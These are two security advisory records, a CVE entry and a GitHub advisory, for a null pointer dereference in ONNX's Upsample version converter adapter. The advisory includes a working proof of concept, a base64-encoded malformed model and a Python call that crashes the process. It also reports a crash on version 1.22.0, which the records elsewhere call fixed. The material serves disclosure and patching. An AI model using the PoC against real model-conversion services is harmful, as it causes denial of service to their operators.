{
  "affected": [
    {
      "affectedData": [
        {
          "product": "onnx",
          "vendor": "onnx",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.9.0, \u003c 1.22.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0."
    }
  ],
  "id": "CVE-2026-44512",
  "lastModified": "2026-07-08T20:16:49.913",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 5.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-08T20:16:49.913",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/onnx/onnx/commit/cd310408165ad47c3cd7eb2b86cb5b80aa2e4fdf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/onnx/onnx/pull/7813"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/onnx/onnx/releases/tag/v1.22.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-hwpq-hmq9-wj77"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-476"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T13:02:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNull pointer dereference (SIGSEGV) in `Upsample_6_7::adapt_upsample_6_7()` (`onnx/version_converter/adapters/upsample_6_7.h:31`) when `convert_version()` processes a model with an Upsample node that has zero inputs. The adapter accesses `node-\u003einputs()[0]-\u003esizes()` without checking input count. 107-byte PoC crashes on Release build.\n\nThis is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.\n\n### Details\n\nThe Upsample 6\u21927 adapter validates attributes but not inputs:\n```cpp\n// upsample_6_7.h:20-33\nvoid adapt_upsample_6_7(..., Node* node) const {\n    ONNX_ASSERTM(\n        node-\u003ehasAttribute(width_scale_symbol) \u0026\u0026 node-\u003ehasAttribute(height_scale_symbol),\n        \"...\")  // Attribute check PASSES\n\n    auto width_scale = node-\u003ef(width_scale_symbol);\n    auto height_scale = node-\u003ef(height_scale_symbol);\n\n    auto input_shape = node-\u003einputs()[0]-\u003esizes();\n    //                 ^^^^^^^^^^^^^^^^^^^^\n    //                 OOB when inputs().size() == 0 \u2192 SIGSEGV\n}\n```\n\nThe PoC has an Upsample node at opset 6 with the required `width_scale` and `height_scale` attributes but zero inputs. The attribute assertions pass, then `node-\u003einputs()[0]` on an empty `ArrayRef`:\n- Release builds (`NDEBUG`): bounds-check assertion compiled out \u2192 reads garbage pointer \u2192 SIGSEGV\n- Debug builds: `assert(Index \u003c Length)` at `array_ref.h:159` \u2192 SIGABRT\n\nAn Upsample node with zero inputs passes `graphProtoToGraph()` because the import code only resolves input names present in the protobuf.\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY=\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# CRASHES \u2014 Upsample_6_7 adapter dereferences empty inputs array\nversion_converter.convert_version(model, 7)  # SIGSEGV\n```\n\n107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV). \n\nThis vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.",
  "id": "GHSA-hwpq-hmq9-wj77",
  "modified": "2026-07-07T13:02:10Z",
  "published": "2026-07-07T13:02:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-hwpq-hmq9-wj77"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/pull/7916"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/releases/tag/v1.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)"
}